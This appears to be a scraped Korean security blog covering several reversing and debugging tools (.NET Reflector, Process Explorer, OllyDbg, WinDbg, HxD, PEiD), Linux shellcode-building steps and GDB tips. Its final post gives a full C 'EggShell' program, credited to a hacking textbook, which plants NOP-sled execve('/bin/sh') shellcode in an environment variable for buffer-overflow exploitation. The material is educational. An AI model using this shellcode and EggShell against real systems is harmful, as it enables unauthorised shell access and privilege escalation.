.NET Reflector

 

 

 

 

.NET Reflecto 은 .NET 으로 개발된 프로그램을 분석하는데 이용하는 도구 입니다.

 

.NET 에서 제공하는 클래스들의 내부 구조 또한 확인이 가능합니다.

 

사용 방법은 간단합니다.

 

상단 메뉴에서 File -> Open Assembly 메뉴를 선택 한 뒤 .NET 으로 개발된 프로그램을 열어줍니다.

 

 

 

위에 보이는 그림은 .NET 으로 개발한 프로그램 소스 입니다. 이 프로그램을 .NET Reflector 로 열어 보겠습니다.

 

위 그림은 .NET Reflector 로 열어본 화면입니다. 기존 소스와 위 그림을 비교해 보시기 바랍니다.

 

두 코드에 별 차이가 없는 것을 확인 하실 수 있을 겁니다.

 

.NET Reflector 은 .NET 으로 개발된 프로그램을 분석할때 유용하게 사용 하실 수 있습니다.

'0x011 Tool' 카테고리의 다른 글

[All] VMWare Workstation  (0) 2017.12.29
[Windows] Resource Hacker  (0) 2017.12.29
[Windows] Process Explorer  (0) 2017.12.29
[Windows] Debugger  (0) 2017.12.29
[Windows] HxD  (0) 2017.12.29

* Process Explorer - http://technet.microsoft.com/ko-kr/sysinternals/bb896653.aspx

 

 

 

 Process Explorer 은 Windows Sysinternals 에서 제작한 프로그램입니다. Process Explorer 을 이용하면 현재 실행 중인 프로세스 명, 프로세스가 로딩한 DLL, Handle 값 등 다양한 정보를 확인 할 수 있습니다. 또한, 특정 DLL을 어떤 프로세스가 로딩했는지 검색 할 수 있습니다. 프로세스 관련 정보 이외에도 CPU 사용률, 메모리 사용률, 윈도우 핸들 검색 등 상당히 많은 기능을 제공하고 있습니다.

 저는 디버깅 과정에서 항상 Process Explorer 를 실행 시키고 작업을 하고 있습니다. 상단에 있는 링크에 접속하셔서 프로그램을 받고 다양한 기능들을 활용해 보시길 바랍니다. 

 

'0x011 Tool' 카테고리의 다른 글

[Windows] Resource Hacker  (0) 2017.12.29
[Windows] .NET Reflector  (0) 2017.12.29
[Windows] Debugger  (0) 2017.12.29
[Windows] HxD  (0) 2017.12.29
[Windows] PEiD  (0) 2017.12.29

디버거란? 오류 수정기. 프로그램의 오류를 찾아내기 위한 소프트웨어의 총칭. 대상으로 하는 프로그램을 1명령마다 분할해서 실행시키고, 그때의 레지스터값이나 프로그램 계수기, 플래그중앙 처리 장치의 내부 상황을 나타낸다. 트레이서라고도 한다.

[네이버 지식백과] 디버거 [debugger] (용어해설)

 

다음으로 대표적인 디버거들의 특징에 대해 설명하겠습니다.

 

1) OllyDbg - http://www.ollydbg.de/

 

 

   OllyDbg 는 유저모드 디버깅 도구 입니다. 무료 소프트웨어이지만 상당히 많은 기능을  제공하고 있습니다. 얼마전까지는 32Bit 모드 디버깅만 가능했지만 현재는 64Bit 모드 디버깅도 지원됩니다.

  간단한 어셈블리 프로그래밍에도 활용 할 수 있습니다. GUI 인터페이스를 제공하기 때문에 사용하기 편리하여 많은 사용자들이 이용하고 있습니다.

OllyDbg 가 많은 사용자들을 확보할수 있었던 이유는 다양한 Plug-in 때문이라고 생각 합니다.

Plug-in을 이용하면 디버거의 여러가지 기능을 추가 할 수 있습니다. 온라인 상에서 배포 되는 다양한 Plug-in을 사용해도 되지만 직접 만들어서 아용 해도 됩니다.

 

2) WinDbg

  

 

   WinDbg 는 마이크로소프트에서 제공하는 디버거 입니다. 유저 / 커널 모드 디버깅이 가능합니다.

하지만 OllyDbg 에 비해 사용하기 어렵습니다. 그 이유는 GUI 인터페이스를 제공하지 않기  때문입니다. WinDbg는 윈도우 제작사에서 제공하는 프로그램인 만큼 다양한 분야에 응용이 가능합니다. 파일이나 커널 디버깅 이외에도 응용프로그램이 문제가 생겼을때 생성되는 덤프 파일을 분석하여 문제가 발생한 원인을 찾아 내는데 사용할 수도 있습니다. WinDbg를 이용하면 커널 디버깅을 통해서 윈도우 내부 구조에 대해서 어느정도 파악 할 수 있습니다.

'0x011 Tool' 카테고리의 다른 글

[Windows] Resource Hacker  (0) 2017.12.29
[Windows] .NET Reflector  (0) 2017.12.29
[Windows] Process Explorer  (0) 2017.12.29
[Windows] HxD  (0) 2017.12.29
[Windows] PEiD  (0) 2017.12.29

* HxD

 

 

 

HxD는 파일의 내용을 직접 열람하거나 수정할때 사용 하는 프로그램입니다.

 

HxD를 이용하면 파일을 직접 조작하여 새로운 기능을 추가 할 수 있습니다.

 

파일 뿐만 아니라 드라이브 내용 까지 확인이 가능합니다.

 

활용 분야가 매우 넓은 프로그램입니다. 

'0x011 Tool' 카테고리의 다른 글

[Windows] Resource Hacker  (0) 2017.12.29
[Windows] .NET Reflector  (0) 2017.12.29
[Windows] Process Explorer  (0) 2017.12.29
[Windows] Debugger  (0) 2017.12.29
[Windows] PEiD  (0) 2017.12.29

* PEiD

 

 

 

PEiD는 파일을 분석하기 전에 파일에 대한 정보를 수집하기 위해 사용하는 프로그램입니다.

 

시그니처 기반으로 동작하며 해당 파일의 패킹 여부나, 어떠한 언어로 개발하였는지 정보를

 

출력해줍니다. 그리고 모든 파일에 대해서 확인이 가능한 것은 아닙니다.

 

단순 참고용으로 프로그램을 활용 하시기 바랍니다.

 

사용 방법은 ... 버튼을 클릭하여 파일 경로를 지정해주거나 파일을 프로그램 위로

 

드랍 시켜주면 파일에 관련된 정보를 출력해줍니다.

 

다양한 옵션과 플러그인이 존재 하기  때문에 많은 사용자들이 이용하고 있습니다. 

'0x011 Tool' 카테고리의 다른 글

[Windows] Resource Hacker  (0) 2017.12.29
[Windows] .NET Reflector  (0) 2017.12.29
[Windows] Process Explorer  (0) 2017.12.29
[Windows] Debugger  (0) 2017.12.29
[Windows] HxD  (0) 2017.12.29

  Linux 환경에서 ShellCode 제작 방법에 대한 포스팅 입니다.

 1. /usr/include/asm/unistd_[bit].h 에서 System Call 번호를 확인한다.  

 

< 그림 1. System Call 번호 확인 >

 

 

2. ShellCode 를 얻고자하는 어셈블리어를 작성한다. ( vi FileName.s 이용 )

 

< 그림 2. 어셈블리어 작성 >

 

3. 어셈블리어를 컴파일 한다.
    1) as -o [Object File Name] [Assembly File Path] 
    2) ld -o [Executable File Name] [Object File Name] 

4. 컴파일된 결과를 확인한다. 정상 작동 하는 경우 objdump -d 명령을 이용하여 OP Code를 추출한다.

 

< 그림 3. OP Code 추출 >

 

 

'0x003 Reversing > 04. Theory' 카테고리의 다른 글

[Tip] IDA Map 연동  (0) 2017.12.29
[Tip] IoT 펌웨어 분석 환경 구성  (0) 2017.12.29
[Windows] Hooking Immunity Debugger  (0) 2017.12.29
[Tip] Process 내 DLL 주소 찾기  (0) 2017.12.29
  Strings 명령어를 이용하면 바이너리 내 포함된 문자열을 확인 하실 수 있습니다. 

  ex) strings [Binary Path]

 

 

'0x002 OperatingSystem > 04. Android' 카테고리의 다른 글

[Command] nm  (0) 2017.12.29
[Tip] Dex 추출 방법  (0) 2017.12.29
[Tip] 분석 방지 솔루션 우회  (0) 2017.12.29
[Command] ADB  (0) 2017.12.29
[Theory] 동적 디버깅  (0) 2017.12.29
  Kali Linux를 설치하면 한글 글꼴이 포함되어 있지 않아 한글 문자가 비 정상적으로 출력되는 문제가 발생합니다. 다음 명령을 통해 한글 글꼴을 설치하면 정상적으로 한글이 출력되는것을 확인 할 수 있습니다. 

  apt-get install fonts-nanum* 

 

 find [/sn] Start Address + len, val1 [val2, ......]
 find [/sn/ Start Address, End Address, val1, [val2, ....]

https://sourceware.org/gdb/onlinedocs/gdb/Searching-Memory.html

'0x002 OperatingSystem > 02. Linux' 카테고리의 다른 글

[Command] dig  (0) 2017.12.29
[Tip] vi editor  (0) 2017.12.29
[Tip] EggShell  (0) 2017.12.29
[Tip] xinetd  (0) 2017.12.29
[Tip] 동시에 여러 명령 실행하기  (0) 2017.12.29

 환경 변수에 bash shell을 실행하는 Shell Code를 등록 한 뒤 주소를 출력 해주는 EggShell 코드입니다. 공격을 하고자 하는 위치에 EggShell 의 결과 주소값을 덮어 쓰면 쉘을 획득할 수 있습니다.

 출처 : 문제 풀이로 배우는 시스템 해킹 테크닉

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_ADDR_SIZE 8
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_SUPERDK_SIZE 2048
#define NOP 0x90

char shellcode[] = "\x31\xc0\x31\xd2\xb0\xb0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";


unsigned long get_sp(void)
{
        __asm__("movl %esp, %eax");
}

int main(int argc, char * argv[])
{
        char *ptr, *superSH;
        char shAddr[DEFAULT_ADDR_SIZE + 1];
        char cmdBuf[DEFAULT_BUFFER_SIZE];
        long *addr_ptr, addr;
        int offset = DEFAULT_OFFSET;
        int i, supershLen = DEFAULT_SUPERDK_SIZE;
        int chgDec[3];

        if( !(superSH = malloc(supershLen)))
        {
                printf("Malloc() Failed \n");
                exit(0);
        }

        addr = get_sp() - offset;
        printf("Address : 0x%8x \n", addr);

        ptr = superSH;

        for(i = 0; i< supershLen - strlen(shellcode) - 1; i++)
        {
                *(ptr++) = NOP;
        }

        for(i = 0; i< strlen(shellcode); i++)
        {
                *(ptr++) = shellcode[i];
        }

        superSH[supershLen - 1] = '\0';

        memcpy(superSH, "SUPERDK=", DEFAULT_ADDR_SIZE);
        putenv(superSH);

        system("/bin/bash");


}

'0x002 OperatingSystem > 02. Linux' 카테고리의 다른 글

[Tip] vi editor  (0) 2017.12.29
[Command] GDB Find  (0) 2017.12.29
[Tip] xinetd  (0) 2017.12.29
[Tip] 동시에 여러 명령 실행하기  (0) 2017.12.29
[Command] Find  (0) 2017.12.29

+ Recent posts